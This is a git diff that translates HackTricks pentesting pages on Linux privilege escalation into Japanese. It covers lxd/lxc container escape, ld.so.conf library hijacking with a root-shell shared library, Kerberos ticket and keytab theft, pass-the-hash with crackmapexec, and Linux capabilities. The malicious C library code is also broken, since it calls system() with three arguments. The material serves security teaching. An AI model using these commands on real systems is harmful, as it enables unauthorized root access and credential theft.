{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %} -## lxc/lxd Group +## lxc/lxd グループ {{#ref}} ./ {{#endref}} -## Adm Group +## Adm グループ -Usually **members** of the group **`adm`** have permissions to **read log** files located inside _/var/log/_.\ -Therefore, if you have compromised a user inside this group you should definitely take a **look to the logs**. +通常、**`adm`** グループの**メンバー**は、_ /var/log/_ 内にある**ログ**ファイルを**読む**権限を持っています。\ +したがって、このグループ内のユーザーを侵害した場合は、**ログを確認する**べきです。 -## Auth group +## Auth グループ -Inside OpenBSD the **auth** group usually can write in the folders _**/etc/skey**_ and _**/var/db/yubikey**_ if they are used.\ -These permissions may be abused with the following exploit to **escalate privileges** to root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) +OpenBSD内では、**auth** グループは通常、_**/etc/skey**_ および _**/var/db/yubikey**_ フォルダーに書き込むことができます。\ +これらの権限は、以下のエクスプロイトを使用して**特権を昇格させる**ために悪用される可能性があります:[https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md index f308931ab..9ccaf0b98 100644 --- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md @@ -1,15 +1,14 @@ -# lxd/lxc Group - Privilege escalation +# lxd/lxc グループ - 特権昇格 {{#include ../../../banners/hacktricks-training.md}} -If you belong to _**lxd**_ **or** _**lxc**_ **group**, you can become root +_**lxd**_ **または** _**lxc**_ **グループに属している場合、rootになることができます** -## Exploiting without internet +## インターネットなしでの悪用 -### Method 1 - -You can install in your machine this distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(follow the instructions of the github): +### 方法 1 +このディストリビューションビルダーをあなたのマシンにインストールできます: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(githubの指示に従ってください): ```bash sudo su # Install requirements @@ -34,9 +33,7 @@ sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18 ## Using build-lxc sudo $HOME/go/bin/distrobuilder build-lxc alpine.yaml -o image.release=3.18 ``` - -Upload the files **lxd.tar.xz** and **rootfs.squashfs**, add the image to the repo and create a container: - +ファイル **lxd.tar.xz** と **rootfs.squashfs** をアップロードし、イメージをリポジトリに追加してコンテナを作成します: ```bash lxc image import lxd.tar.xz rootfs.squashfs --alias alpine @@ -51,23 +48,19 @@ lxc list lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true ``` - > [!CAUTION] -> If you find this error _**Error: No storage pool found. Please create a new storage pool**_\ -> Run **`lxd init`** and **repeat** the previous chunk of commands - -Finally you can execute the container and get root: +> このエラー _**Error: No storage pool found. Please create a new storage pool**_\ +> **`lxd init`** を実行し、前のコマンドのチャンクを **繰り返してください** +最後に、コンテナを実行してルートを取得できます: ```bash lxc start privesc lxc exec privesc /bin/sh [email protected]:~# cd /mnt/root #Here is where the filesystem is mounted ``` - ### Method 2 -Build an Alpine image and start it using the flag `security.privileged=true`, forcing the container to interact as root with the host filesystem. - +Alpineイメージをビルドし、フラグ`security.privileged=true`を使用して起動し、コンテナがホストファイルシステムとrootとして対話するように強制します。 ```bash # build a simple alpine image git clone https://github.com/saghul/lxd-alpine-builder @@ -87,5 +80,4 @@ lxc init myimage mycontainer -c security.privileged=true # mount the /root into the image lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/ld.so.conf-example.md b/src/linux-hardening/privilege-escalation/ld.so.conf-example.md index ab2683a9b..9899f2f3b 100644 --- a/src/linux-hardening/privilege-escalation/ld.so.conf-example.md +++ b/src/linux-hardening/privilege-escalation/ld.so.conf-example.md @@ -2,82 +2,71 @@ {{#include ../../banners/hacktricks-training.md}} -## Prepare the environment +## 環境の準備 -In the following section you can find the code of the files we are going to use to prepare the environment +次のセクションでは、環境を準備するために使用するファイルのコードを見つけることができます {{#tabs}} {{#tab name="sharedvuln.c"}} - ```c #include #include "libcustom.h" int main(){ - printf("Welcome to my amazing application!\n"); - vuln_func(); - return 0; +printf("Welcome to my amazing application!\n"); +vuln_func(); +return 0; } ``` - {{#endtab}} {{#tab name="libcustom.h"}} - ```c #include void vuln_func(); ``` - {{#endtab}} {{#tab name="libcustom.c"}} - ```c #include void vuln_func() { - puts("Hi"); +puts("Hi"); } ``` - {{#endtab}} {{#endtabs}} -1. **Create** those files in your machine in the same folder -2. **Compile** the **library**: `gcc -shared -o libcustom.so -fPIC libcustom.c` -3. **Copy** `libcustom.so` to `/usr/lib`: `sudo cp libcustom.so /usr/lib` (root privs) -4. **Compile** the **executable**: `gcc sharedvuln.c -o sharedvuln -lcustom` +1. **同じフォルダ**にそのファイルを作成します +2. **ライブラリ**を**コンパイル**します: `gcc -shared -o libcustom.so -fPIC libcustom.c` +3. `libcustom.so`を`/usr/lib`に**コピー**します: `sudo cp libcustom.so /usr/lib` (root権限) +4. **実行可能ファイル**を**コンパイル**します: `gcc sharedvuln.c -o sharedvuln -lcustom` -### Check the environment - -Check that _libcustom.so_ is being **loaded** from _/usr/lib_ and that you can **execute** the binary. +### 環境を確認する +_libcustom.so_が_/usr/lib_から**読み込まれている**ことと、バイナリを**実行**できることを確認します。 ``` $ ldd sharedvuln - linux-vdso.so.1 => (0x00007ffc9a1f7000) - libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000) - libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000) - /lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000) +linux-vdso.so.1 => (0x00007ffc9a1f7000) +libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000) +libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000) +/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000) $ ./sharedvuln Welcome to my amazing application! Hi ``` - ## Exploit -In this scenario we are going to suppose that **someone has created a vulnerable entry** inside a file in _/etc/ld.so.conf/_: - +このシナリオでは、**誰かが_/etc/ld.so.conf/_内に脆弱なエントリを作成した**と仮定します: ```bash sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf ``` - -The vulnerable folder is _/home/ubuntu/lib_ (where we have writable access).\ -**Download and compile** the following code inside that path: - +脆弱なフォルダーは _/home/ubuntu/lib_ です(書き込みアクセスがあります)。\ +**次のコードをそのパス内でダウンロードしてコンパイル**してください: ```c //gcc -shared -o libcustom.so -fPIC libcustom.c @@ -86,27 +75,23 @@ The vulnerable folder is _/home/ubuntu/lib_ (where we have writable access).\ #include void vuln_func(){ - setuid(0); - setgid(0); - printf("I'm the bad library\n"); - system("/bin/sh",NULL,NULL); +setuid(0); +setgid(0); +printf("I'm the bad library\n"); +system("/bin/sh",NULL,NULL); } ``` +今、**誤って設定された**パス内に悪意のあるlibcustomライブラリを**作成したので**、**再起動**を待つか、rootユーザーが**`ldconfig`**を実行するのを待つ必要があります(_このバイナリを**sudo**として実行できる場合、または**suidビット**が設定されている場合は、自分で実行できます_)。 -Now that we have **created the malicious libcustom library inside the misconfigured** path, we need to wait for a **reboot** or for the root user to execute **`ldconfig`** (_in case you can execute this binary as **sudo** or it has the **suid bit** you will be able to execute it yourself_). - -Once this has happened **recheck** where is the `sharevuln` executable loading the `libcustom.so` library from: - +これが発生したら、**再確認**してください。`sharevuln`実行可能ファイルが`libcustom.so`ライブラリをどこから読み込んでいるかを確認します: ```c $ldd sharedvuln - linux-vdso.so.1 => (0x00007ffeee766000) - libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000) - libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000) - /lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000) +linux-vdso.so.1 => (0x00007ffeee766000) +libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000) +libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000) +/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000) ``` - -As you can see it's **loading it from `/home/ubuntu/lib`** and if any user executes it, a shell will be executed: - +ご覧のとおり、**`/home/ubuntu/lib`から読み込んでおり**、ユーザーがそれを実行するとシェルが実行されます: ```c $ ./sharedvuln Welcome to my amazing application! @@ -114,40 +99,35 @@ I'm the bad library $ whoami ubuntu ``` - > [!NOTE] -> Note that in this example we haven't escalated privileges, but modifying the commands executed and **waiting for root or other privileged user to execute the vulnerable binary** we will be able to escalate privileges. +> この例では特権を昇格させていないことに注意してくださいが、実行されるコマンドを変更し、**rootまたは他の特権ユーザーが脆弱なバイナリを実行するのを待つことで**特権を昇格させることができます。 -### Other misconfigurations - Same vuln +### 他の誤設定 - 同じ脆弱性 -In the previous example we faked a misconfiguration where an administrator **set a non-privileged folder inside a configuration file inside `/etc/ld.so.conf.d/`**.\ -But there are other misconfigurations that can cause the same vulnerability, if you have **write permissions** in some **config file** inside `/etc/ld.so.conf.d`s, in the folder `/etc/ld.so.conf.d` or in the file `/etc/ld.so.conf` you can configure the same vulnerability and exploit it. +前の例では、管理者が**`/etc/ld.so.conf.d/`内の設定ファイルに非特権フォルダーを設定した**という誤設定を偽装しました。\ +しかし、同じ脆弱性を引き起こす他の誤設定もあります。もし`/etc/ld.so.conf.d`内のいくつかの**設定ファイル**、`/etc/ld.so.conf.d`フォルダー内、または`/etc/ld.so.conf`ファイル内に**書き込み権限**がある場合、同じ脆弱性を設定して悪用することができます。 -## Exploit 2 - -**Suppose you have sudo privileges over `ldconfig`**.\ -You can indicate `ldconfig` **where to load the conf files from**, so we can take advantage of it to make `ldconfig` load arbitrary folders.\ -So, lets create the files and folders needed to load "/tmp": +## エクスプロイト 2 +**`ldconfig`に対してsudo権限を持っていると仮定します**。\ +`ldconfig`に**設定ファイルをどこから読み込むかを指示することができます**。これを利用して`ldconfig`に任意のフォルダーを読み込ませることができます。\ +では、"/tmp"を読み込むために必要なファイルとフォルダーを作成しましょう: ```bash cd /tmp echo "include /tmp/conf/*" > fake.ld.so.conf echo "/tmp" > conf/evil.conf ``` - -Now, as indicated in the **previous exploit**, **create the malicious library inside `/tmp`**.\ -And finally, lets load the path and check where is the binary loading the library from: - +今、**前のエクスプロイト**で示されたように、**`/tmp`内に悪意のあるライブラリを作成します**。\ +最後に、パスをロードして、バイナリがライブラリをどこからロードしているかを確認しましょう: ```bash ldconfig -f fake.ld.so.conf ldd sharedvuln - linux-vdso.so.1 => (0x00007fffa2dde000) - libcustom.so => /tmp/libcustom.so (0x00007fcb07756000) - libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000) - /lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000) +linux-vdso.so.1 => (0x00007fffa2dde000) +libcustom.so => /tmp/libcustom.so (0x00007fcb07756000) +libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000) +/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000) ``` - -**As you can see, having sudo privileges over `ldconfig` you can exploit the same vulnerability.** +**ご覧のとおり、`ldconfig`に対するsudo権限を持っていると、同じ脆弱性を悪用できます。** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/linux-active-directory.md b/src/linux-hardening/privilege-escalation/linux-active-directory.md index 5e355bae5..2f6f24122 100644 --- a/src/linux-hardening/privilege-escalation/linux-active-directory.md +++ b/src/linux-hardening/privilege-escalation/linux-active-directory.md @@ -2,19 +2,17 @@ {{#include ../../banners/hacktricks-training.md}} -{% embed url="https://websec.nl/" %} +LinuxマシンはActive Directory環境内に存在することもあります。 -A linux machine can also be present inside an Active Directory environment. +AD内のLinuxマシンは、**ファイル内に異なるCCACHEチケットを保存している可能性があります。このチケットは他のKerberosチケットと同様に使用および悪用できます**。これらのチケットを読み取るには、チケットのユーザー所有者であるか、**root**である必要があります。 -A linux machine in an AD might be **storing different CCACHE tickets inside files. This tickets can be used and abused as any other kerberos ticket**. In order to read this tickets you will need to be the user owner of the ticket or **root** inside the machine. +## 列挙 -## Enumeration +### LinuxからのAD列挙 -### AD enumeration from linux +Linux(またはWindowsのbash)でADにアクセスできる場合、ADを列挙するために[https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn)を試すことができます。 -If you have access over an AD in linux (or bash in Windows) you can try [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) to enumerate the AD. - -You can also check the following page to learn **other ways to enumerate AD from linux**: +LinuxからADを列挙する**他の方法**を学ぶために、次のページも確認できます: {{#ref}} ../../network-services-pentesting/pentesting-ldap.md @@ -22,28 +20,27 @@ You can also check the following page to learn **other ways to enumerate AD from ### FreeIPA -FreeIPA is an open-source **alternative** to Microsoft Windows **Active Directory**, mainly for **Unix** environments. It combines a complete **LDAP directory** with an MIT **Kerberos** Key Distribution Center for management akin to Active Directory. Utilizing the Dogtag **Certificate System** for CA & RA certificate management, it supports **multi-factor** authentication, including smartcards. SSSD is integrated for Unix authentication processes. Learn more about it in: +FreeIPAは、主に**Unix**環境向けのMicrosoft Windows **Active Directory**のオープンソース**代替**です。Active Directoryに類似した管理のために、完全な**LDAPディレクトリ**とMIT **Kerberos**キー配布センターを組み合わせています。CAおよびRA証明書管理のためにDogtag **Certificate System**を利用し、スマートカードを含む**多要素**認証をサポートしています。Unix認証プロセスのためにSSSDが統合されています。詳細については、以下を参照してください: {{#ref}} ../freeipa-pentesting.md {{#endref}} -## Playing with tickets +## チケットの操作 ### Pass The Ticket -In this page you are going to find different places were you could **find kerberos tickets inside a linux host**, in the following page you can learn how to transform this CCache tickets formats to Kirbi (the format you need to use in Windows) and also how to perform a PTT attack: +このページでは、**Linuxホスト内でKerberosチケットを見つけることができるさまざまな場所**を見つけることができます。次のページでは、これらのCCacheチケット形式をKirbi(Windowsで使用する必要がある形式)に変換する方法と、PTT攻撃を実行する方法を学ぶことができます: {{#ref}} ../../windows-hardening/active-directory-methodology/pass-the-ticket.md {{#endref}} -### CCACHE ticket reuse from /tmp +### /tmpからのCCACHEチケット再利用 -CCACHE files are binary formats for **storing Kerberos credentials** are typically stored with 600 permissions in `/tmp`. These files can be identified by their **name format, `krb5cc_%{uid}`,** correlating to the user's UID. For authentication ticket verification, the **environment variable `KRB5CCNAME`** should be set to the path of the desired ticket file, enabling its reuse. - -List the current ticket used for authentication with `env | grep KRB5CCNAME`. The format is portable and the ticket can be **reused by setting the environment variable** with `export KRB5CCNAME=/tmp/ticket.ccache`. Kerberos ticket name format is `krb5cc_%{uid}` where uid is the user UID. +CCACHEファイルは**Kerberos資格情報**を保存するためのバイナリ形式で、通常は`/tmp`に600の権限で保存されます。これらのファイルは、ユーザーのUIDに関連する**名前形式`krb5cc_%{uid}`**で識別できます。認証チケットの検証には、**環境変数`KRB5CCNAME`**を希望するチケットファイルのパスに設定する必要があり、再利用を可能にします。 +`env | grep KRB5CCNAME`を使用して、認証に使用されている現在のチケットをリストします。形式はポータブルで、環境変数を設定することでチケットを**再利用できます**。`export KRB5CCNAME=/tmp/ticket.ccache`を使用します。Kerberosチケットの名前形式は`krb5cc_%{uid}`で、uidはユーザーのUIDです。 ```bash # Find tickets ls /tmp/ | grep krb5cc @@ -52,79 +49,62 @@ krb5cc_1000 # Prepare to use it export KRB5CCNAME=/tmp/krb5cc_1000 ``` +### CCACHE チケットの再利用とキーニング -### CCACHE ticket reuse from keyring - -**Kerberos tickets stored in a process's memory can be extracted**, particularly when the machine's ptrace protection is disabled (`/proc/sys/kernel/yama/ptrace_scope`). A useful tool for this purpose is found at [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), which facilitates the extraction by injecting into sessions and dumping tickets into `/tmp`. - -To configure and use this tool, the steps below are followed: +**プロセスのメモリに保存された Kerberos チケットは抽出可能です**。特に、マシンの ptrace 保護が無効になっている場合(`/proc/sys/kernel/yama/ptrace_scope`)。この目的に役立つツールは [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) にあり、セッションに注入してチケットを `/tmp` にダンプすることで抽出を容易にします。 +このツールを設定して使用するには、以下の手順に従います: ```bash git clone https://github.com/TarlogicSecurity/tickey cd tickey/tickey make CONF=Release /tmp/tickey -i ``` +この手順は、さまざまなセッションに注入を試み、抽出されたチケットを `/tmp` に `__krb_UID.ccache` という命名規則で保存することで成功を示します。 -This procedure will attempt to inject into various sessions, indicating success by storing extracted tickets in `/tmp` with a naming convention of `__krb_UID.ccache`. +### SSSD KCMからのCCACHEチケットの再利用 -### CCACHE ticket reuse from SSSD KCM - -SSSD maintains a copy of the database at the path `/var/lib/sss/secrets/secrets.ldb`. The corresponding key is stored as a hidden file at the path `/var/lib/sss/secrets/.secrets.mkey`. By default, the key is only readable if you have **root** permissions. - -Invoking \*\*`SSSDKCMExtractor` \*\* with the --database and --key parameters will parse the database and **decrypt the secrets**. +SSSDは、パス `/var/lib/sss/secrets/secrets.ldb` にデータベースのコピーを保持しています。対応するキーは、パス `/var/lib/sss/secrets/.secrets.mkey` に隠しファイルとして保存されています。デフォルトでは、キーは **root** 権限を持っている場合にのみ読み取ることができます。 +\*\*`SSSDKCMExtractor` \*\* を --database および --key パラメータで呼び出すと、データベースを解析し、**秘密を復号化**します。 ```bash git clone https://github.com/fireeye/SSSDKCMExtractor python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey ``` +**資格情報キャッシュKerberosブロブは、Mimikatz/Rubeusに渡すことができる使用可能なKerberos CCache**ファイルに変換できます。 -The **credential cache Kerberos blob can be converted into a usable Kerberos CCache** file that can be passed to Mimikatz/Rubeus. - -### CCACHE ticket reuse from keytab - +### keytabからのCCACHEチケット再利用 ```bash git clone https://github.com/its-a-feature/KeytabParser python KeytabParser.py /etc/krb5.keytab klist -k /etc/krb5.keytab ``` +### /etc/krb5.keytab からアカウントを抽出する -### Extract accounts from /etc/krb5.keytab - -Service account keys, essential for services operating with root privileges, are securely stored in **`/etc/krb5.keytab`** files. These keys, akin to passwords for services, demand strict confidentiality. - -To inspect the keytab file's contents, **`klist`** can be employed. The tool is designed to display key details, including the **NT Hash** for user authentication, particularly when the key type is identified as 23. +サービスアカウントキーは、ルート権限で動作するサービスにとって不可欠であり、**`/etc/krb5.keytab`** ファイルに安全に保存されています。これらのキーは、サービスのパスワードに似ており、厳格な機密性が求められます。 +keytabファイルの内容を確認するには、**`klist`** を使用できます。このツールは、特にキータイプが23として識別される場合に、ユーザー認証のための**NT Hash**を含むキーの詳細を表示するように設計されています。 ```bash klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab # Output includes service principal details and the NT Hash ``` - -For Linux users, **`KeyTabExtract`** offers functionality to extract the RC4 HMAC hash, which can be leveraged for NTLM hash reuse. - +Linuxユーザーにとって、**`KeyTabExtract`** はRC4 HMACハッシュを抽出する機能を提供し、これをNTLMハッシュの再利用に活用できます。 ```bash python3 keytabextract.py krb5.keytab # Expected output varies based on hash availability ``` - -On macOS, **`bifrost`** serves as a tool for keytab file analysis. - +macOSでは、**`bifrost`**はkeytabファイル分析のためのツールとして機能します。 ```bash ./bifrost -action dump -source keytab -path /path/to/your/file ``` - -Utilizing the extracted account and hash information, connections to servers can be established using tools like **`crackmapexec`**. - +抽出されたアカウントとハッシュ情報を利用して、**`crackmapexec`**のようなツールを使用してサーバーへの接続を確立できます。 ```bash crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN" ``` - -## References +## 参考文献 - [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) - [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory) -{% embed url="https://websec.nl/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/linux-capabilities.md b/src/linux-hardening/privilege-escalation/linux-capabilities.md index 2fa1b2717..bc48ea859 100644 --- a/src/linux-hardening/privilege-escalation/linux-capabilities.md +++ b/src/linux-hardening/privilege-escalation/linux-capabilities.md @@ -2,90 +2,80 @@ {{#include ../../banners/hacktricks-training.md}} -
- -​​​​​​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.\\ - -{% embed url="https://www.rootedcon.com/" %} ## Linux Capabilities -Linux capabilities divide **root privileges into smaller, distinct units**, allowing processes to have a subset of privileges. This minimizes the risks by not granting full root privileges unnecessarily. +Linux capabilitiesは**root権限をより小さく、明確な単位に分割**し、プロセスが特定の権限のサブセットを持つことを可能にします。これにより、不要に完全なroot権限を付与することなくリスクを最小限に抑えます。 -### The Problem: +### 問題: -- Normal users have limited permissions, affecting tasks like opening a network socket which requires root access. +- 通常のユーザーは権限が制限されており、rootアクセスを必要とするネットワークソケットを開くなどのタスクに影響を与えます。 -### Capability Sets: +### 権限セット: 1. **Inherited (CapInh)**: - - **Purpose**: Determines the capabilities passed down from the parent process. - - **Functionality**: When a new process is created, it inherits the capabilities from its parent in this set. Useful for maintaining certain privileges across process spawns. - - **Restrictions**: A process cannot gain capabilities that its parent did not possess. +- **目的**: 親プロセスから引き継がれる権限を決定します。 +- **機能**: 新しいプロセスが作成されると、このセットから親の権限を引き継ぎます。プロセスの生成間で特定の権限を維持するのに役立ちます。 +- **制限**: プロセスは親が持っていなかった権限を得ることはできません。 2. **Effective (CapEff)**: - - **Purpose**: Represents the actual capabilities a process is utilizing at any moment. - - **Functionality**: It's the set of capabilities checked by the kernel to grant permission for various operations. For files, this set can be a flag indicating if the file's permitted capabilities are to be considered effective. - - **Significance**: The effective set is crucial for immediate privilege checks, acting as the active set of capabilities a process can use. +- **目的**: プロセスが現在利用している実際の権限を表します。 +- **機能**: これは、さまざまな操作の許可を与えるためにカーネルによってチェックされる権限のセットです。ファイルに対しては、このセットがファイルの許可された権限が有効であるかどうかを示すフラグになることがあります。 +- **重要性**: 有効なセットは即時の権限チェックにとって重要であり、プロセスが使用できる権限のアクティブなセットとして機能します。 3. **Permitted (CapPrm)**: - - **Purpose**: Defines the maximum set of capabilities a process can possess. - - **Functionality**: A process can elevate a capability from the permitted set to its effective set, giving it the ability to use that capability. It can also drop capabilities from its permitted set. - - **Boundary**: It acts as an upper limit for the capabilities a process can have, ensuring a process doesn't exceed its predefined privilege scope. +- **目的**: プロセスが持つことができる最大の権限のセットを定義します。 +- **機能**: プロセスは、許可されたセットから有効なセットに権限を昇格させ、その権限を使用できるようにします。また、許可されたセットから権限を削除することもできます。 +- **境界**: プロセスが持つことができる権限の上限として機能し、プロセスが事前に定義された権限の範囲を超えないようにします。 4. **Bounding (CapBnd)**: - - **Purpose**: Puts a ceiling on the capabilities a process can ever acquire during its lifecycle. - - **Functionality**: Even if a process has a certain capability in its inheritable or permitted set, it cannot acquire that capability unless it's also in the bounding set. - - **Use-case**: This set is particularly useful for restricting a process's privilege escalation potential, adding an extra layer of security. +- **目的**: プロセスがライフサイクルの間に取得できる権限に上限を設けます。 +- **機能**: プロセスが引き継ぎ可能または許可されたセットに特定の権限を持っていても、その権限がバウンディングセットにも含まれていない限り、その権限を取得することはできません。 +- **使用例**: このセットは、プロセスの権限昇格の可能性を制限するのに特に役立ち、追加のセキュリティ層を提供します。 5. **Ambient (CapAmb)**: - - **Purpose**: Allows certain capabilities to be maintained across an `execve` system call, which typically would result in a full reset of the process's capabilities. - - **Functionality**: Ensures that non-SUID programs that don't have associated file capabilities can retain certain privileges. - - **Restrictions**: Capabilities in this set are subject to the constraints of the inheritable and permitted sets, ensuring they don't exceed the process's allowed privileges. - +- **目的**: 通常はプロセスの権限が完全にリセットされる`execve`システムコールを通じて、特定の権限を維持できるようにします。 +- **機能**: 関連するファイル権限を持たない非SUIDプログラムが特定の権限を保持できることを保証します。 +- **制限**: このセットの権限は、引き継ぎ可能および許可されたセットの制約を受け、プロセスの許可された権限を超えないようにします。 ```python # Code to demonstrate the interaction of different capability sets might look like this: # Note: This is pseudo-code for illustrative purposes only. def manage_capabilities(process): - if process.has_capability('cap_setpcap'): - process.add_capability_to_set('CapPrm', 'new_capability') - process.limit_capabilities('CapBnd') - process.preserve_capabilities_across_execve('CapAmb') +if process.has_capability('cap_setpcap'): +process.add_capability_to_set('CapPrm', 'new_capability') +process.limit_capabilities('CapBnd') +process.preserve_capabilities_across_execve('CapAmb') ``` - -For further information check: +さらなる情報は以下を確認してください: - [https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work](https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work) - [https://blog.ploetzli.ch/2014/understanding-linux-capabilities/](https://blog.ploetzli.ch/2014/understanding-linux-capabilities/) -## Processes & Binaries Capabilities +## プロセスとバイナリの能力 -### Processes Capabilities +### プロセスの能力 -To see the capabilities for a particular process, use the **status** file in the /proc directory. As it provides more details, let’s limit it only to the information related to Linux capabilities.\ -Note that for all running processes capability information is maintained per thread, for binaries in the file system it’s stored in extended attributes. +特定のプロセスの能力を確認するには、/proc ディレクトリ内の **status** ファイルを使用します。詳細が多いため、Linux の能力に関連する情報のみに制限しましょう。\ +すべての実行中のプロセスの能力情報はスレッドごとに維持され、ファイルシステム内のバイナリには拡張属性に保存されています。 -You can find the capabilities defined in /usr/include/linux/capability.h - -You can find the capabilities of the current process in `cat /proc/self/status` or doing `capsh --print` and of other users in `/proc//status` +能力は /usr/include/linux/capability.h に定義されています。 +現在のプロセスの能力は `cat /proc/self/status` で、他のユーザーの能力は `/proc//status` で確認できます。 ```bash cat /proc/1234/status | grep Cap cat /proc/$$/status | grep Cap #This will print the capabilities of the current process ``` +このコマンドはほとんどのシステムで5行を返すべきです。 -This command should return 5 lines on most systems. - -- CapInh = Inherited capabilities -- CapPrm = Permitted capabilities -- CapEff = Effective capabilities -- CapBnd = Bounding set -- CapAmb = Ambient capabilities set - +- CapInh = 継承された能力 +- CapPrm = 許可された能力 +- CapEff = 実効能力 +- CapBnd = バウンディングセット +- CapAmb = アンビエント能力セット ```bash #These are the typical capabilities of a root owned process (all) CapInh: 0000000000000000 @@ -94,16 +84,12 @@ CapEff: 0000003fffffffff CapBnd: 0000003fffffffff CapAmb: 0000000000000000 ``` - -These hexadecimal numbers don’t make sense. Using the capsh utility we can decode them into the capabilities name. - +これらの16進数は意味を成しません。capshユーティリティを使用して、それらを能力名にデコードできます。 ```bash capsh --decode=0000003fffffffff 0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37 ``` - -Lets check now the **capabilities** used by `ping`: - +では、`ping`によって使用される**capabilities**を確認しましょう: ```bash cat /proc/9491/status | grep Cap CapInh: 0000000000000000 @@ -115,15 +101,11 @@ CapAmb: 0000000000000000 capsh --decode=0000000000003000 0x0000000000003000=cap_net_admin,cap_net_raw ``` - -Although that works, there is another and easier way. To see the capabilities of a running process, simply use the **getpcaps** tool followed by its process ID (PID). You can also provide a list of process IDs. - +実行中のプロセスの能力を確認するには、**getpcaps**ツールをそのプロセスID(PID)の後に続けて使用するだけです。プロセスIDのリストを提供することもできます。 ```bash getpcaps 1234 ``` - -Lets check here the capabilities of `tcpdump` after having giving the binary enough capabilities (`cap_net_admin` and `cap_net_raw`) to sniff the network (_tcpdump is running in process 9562_): - +ここで、バイナリに十分な能力(`cap_net_admin` と `cap_net_raw`)を与えた後の `tcpdump` の能力を確認しましょう(_tcpdump はプロセス 9562 で実行中_): ```bash #The following command give tcpdump the needed capabilities to sniff traffic $ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump @@ -141,53 +123,43 @@ CapAmb: 0000000000000000 $ capsh --decode=0000000000003000 0x0000000000003000=cap_net_admin,cap_net_raw ``` +与えられた能力は、バイナリの能力を取得する2つの方法の結果に対応しています。\ +_getpcaps_ツールは、特定のスレッドの利用可能な能力を照会するために**capget()**システムコールを使用します。このシステムコールは、より多くの情報を取得するためにPIDを提供するだけで済みます。 -As you can see the given capabilities corresponds with the results of the 2 ways of getting the capabilities of a binary.\ -The _getpcaps_ tool uses the **capget()** system call to query the available capabilities for a particular thread. This system call only needs to provide the PID to obtain more information. - -### Binaries Capabilities - -Binaries can have capabilities that can be used while executing. For example, it's very common to find `ping` binary with `cap_net_raw` capability: +### バイナリの能力 